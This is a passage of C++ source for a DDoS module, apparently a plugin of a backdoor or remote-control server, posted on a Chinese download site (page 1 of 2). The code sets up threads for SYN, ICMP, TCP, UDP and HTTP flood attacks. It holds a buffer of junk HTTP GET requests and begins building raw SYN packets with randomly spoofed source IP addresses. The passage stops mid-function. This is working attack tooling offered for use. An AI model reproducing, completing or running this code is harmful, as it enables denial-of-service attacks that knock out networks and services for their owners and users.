⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ddos.cpp

📁 DDOS核心源码
💻 CPP
📖 第 1 页 / 共 2 页
字号:
#pragma warning( disable : 4530 )
#pragma warning( disable : 4786 )

#include <winsock2.h>
#ifdef _VIPSHELL_ALL
#include "../ServerAll/PlugDef.h"
#else
#include "PlugDef.h"
#endif
#include <windows.h>




#include <Wininet.h>
#define IP_HDRINCL      2 /* header is included with data */
//
//



#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "Wininet.lib")

#define    PacketNum 4096 
static char SendBuff[PacketNum][60] = {0};

const char icmpBuffer[4000]=
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp";

USHORT checksum(USHORT *buffer, int size)
{ 
	unsigned long cksum=0;
	while(size >1)
	{
		cksum+=*buffer++;
		size -=sizeof(USHORT);
	}
	if(size)
	{
		cksum += *(UCHAR*)buffer;
	}
	cksum = (cksum >> 16) + (cksum & 0xffff);
	cksum += (cksum >>16);
	return (USHORT)(~cksum);
}

DWORD WINAPI Threadsyn_flood(LPVOID lp )
{
	CDDos* pThis = (CDDos*)lp;
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Run );
	std::string strIp;
	USHORT port;
	pThis->GetAddr( &strIp, &port );
	pThis->syn_flood( strIp.c_str(), port );
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Stop );
	return 0;
}
DWORD WINAPI Threadicmp_flood(LPVOID lp )
{
	CDDos* pThis = (CDDos*)lp;
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Run );
	std::string strIp;
	USHORT port;
	pThis->GetAddr( &strIp, &port );
	pThis->icmp_flood( strIp.c_str(), port );
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Stop );
	return 0;
}

DWORD WINAPI Threadtcp_flood(LPVOID lp )
{

	CDDos* pThis = (CDDos*)lp;
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Run );
	std::string strIp;
	USHORT port;
	pThis->GetAddr( &strIp, &port );
	CPinboardPtr<I_Buffer> spBuffer;
	pThis->GetSendBuffer( &spBuffer );
	pThis->tcp_flood( strIp.c_str(), port ,  spBuffer );
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Stop );
	return 0;
}
DWORD WINAPI Threadhttp_flood(LPVOID lp )
{
	CDDos* pThis = (CDDos*)lp;
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Run );
	std::string strIp;
	USHORT port;
	pThis->GetAddr( &strIp, &port );
	std::wstring strUrl;
	pThis->GetUrl( &strUrl );
	pThis->http_flood( strUrl.c_str() );
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Stop );
	return 0;
}

DWORD WINAPI ThreadUdp_flood(LPVOID lp )
{

	CDDos* pThis = (CDDos*)lp;
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Run );
	std::string strIp;
	USHORT port;
	pThis->GetAddr( &strIp, &port );

	pThis->udp_flood( strIp.c_str(), port  );
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Stop );
	return 0;
}
CDDos::~CDDos()
{
}

bool CDDos::InitInstance()
{
	CreateBuffer( &m_spBuffer );
	SetWorkType( enumDDosType_Stop );
	return true;
}

bool CDDos::SetDDosUrl(LPCWSTR szUrl) 
{
	CMySingleLock lock(&m_Locker);
	m_strUrl = szUrl;
		return true;
}
bool CDDos::SetAddr(char* szIp, USHORT port) 
{
	CMySingleLock lock(&m_Locker);
	m_strip = szIp;
	m_port = port;
		return true;
}
bool CDDos::SetSendBuff(BYTE* p, size_t nlen) 
{
	CMySingleLock lock(&m_Locker);
	m_spBuffer->Append( p, nlen );
		return true;
}
bool CDDos::StartsynDDos() 
{
	CMySingleLock lock(&m_Locker);
	if( m_worktype == enumDDosType_Run )
		return false;
	m_type = DdosType_syn;
	CreateThread( 0, 0, Threadsyn_flood, this, 0 ,0);
	return true;
}
bool CDDos::StarticmpDDos() 
{
	CMySingleLock lock(&m_Locker);
	if( m_worktype == enumDDosType_Run )
		return false;
	m_type = DdosType_icmp;
	CreateThread( 0, 0, Threadicmp_flood, this, 0 ,0);
	return true;
}
bool CDDos::StarttcpDDos() 
{
	CMySingleLock lock(&m_Locker);
	if( m_worktype == enumDDosType_Run )
		return false;
	m_type = DdosType_tcp;
	CreateThread( 0, 0, Threadtcp_flood, this, 0 ,0);
	
	return true;
}
bool CDDos::StartudpDDos() 
{
	CMySingleLock lock(&m_Locker);
	if( m_worktype == enumDDosType_Run )
		return false;
	m_type = DdosType_udp;
	CreateThread( 0, 0, ThreadUdp_flood, this, 0 ,0);
	return true;
}
bool CDDos::StarthttpDDos() 
{
	CMySingleLock lock(&m_Locker);
	if( m_worktype == enumDDosType_Run )
		return false;
	m_type = DdosType_http;
	CreateThread( 0, 0, Threadhttp_flood, this, 0 ,0);
	
	return true;
}
bool CDDos::GetType(enumDdosType* type)
{
	CMySingleLock lock(&m_Locker);
	*type = m_type;
	return true;

}
bool CDDos::GetWorkType(enumDDosWorkType* type)
{
	CMySingleLock lock(&m_Locker);
	*type = m_worktype;
	return true;
}
bool CDDos::Stop() 
{
	{{
		CMySingleLock lock(&m_Locker);
		if( m_worktype == enumDDosType_Stop )
			return true;
		SetIsStop( true );
	}}
	while(true)
	{
		Sleep(10);
		if( !IsStop() )
			return true;
	}
	return true;
}

bool CDDos::IsStop()
{
	CMySingleLock lock(&m_Locker);
	return m_IsStop;
}
bool CDDos::SetIsStop(bool f )
{
	CMySingleLock lock(&m_Locker);
	m_IsStop = f;
	return true;
}
bool CDDos::SetWorkType(enumDDosWorkType type)
{
	CMySingleLock lock(&m_Locker);
	m_worktype = type;
	return true;
}
bool CDDos::GetAddr(std::string* pStr, USHORT* port) 
{
	CMySingleLock lock(&m_Locker);
	*pStr = m_strip;
	*port = m_port;
	return true;
}
bool CDDos::GetSendBuffer(I_Buffer** ppv)
{
	CMySingleLock lock(&m_Locker);
	CPinboardPtr<I_Buffer> spBuffer = m_spBuffer;
	*ppv = spBuffer.detach();
	return true;
}
bool CDDos::GetUrl(std::wstring* pStr)
{
	CMySingleLock lock(&m_Locker);
	*pStr = m_strUrl;
	return true;
}

void fill_syn_buffer(const char* szip, USHORT nProt)
{
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);

	IP_HEADER    IpHeader; 
	TCP_HEADER   TcpHeader; 
	PSD_HEADER   PsdHeader; 

	srand(GetTickCount()); 
	
	char         src_ip[20] = {0};
	for ( int n = 0; n < PacketNum; n++ ) 
	{ 
			wsprintfA( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 ); 
			//填充IP首部 
			IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long)); 
			IpHeader.tos = 0; 
			IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader)); 
			IpHeader.ident = 1; 
			IpHeader.frag_and_flags = 0x40; 
			IpHeader.ttl = 128; 
			IpHeader.proto = IPPROTO_TCP; 
			IpHeader.checksum = 0; 
			IpHeader.sourceIP = inet_addr(src_ip); 
			IpHeader.destIP = inet_addr(szip); 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -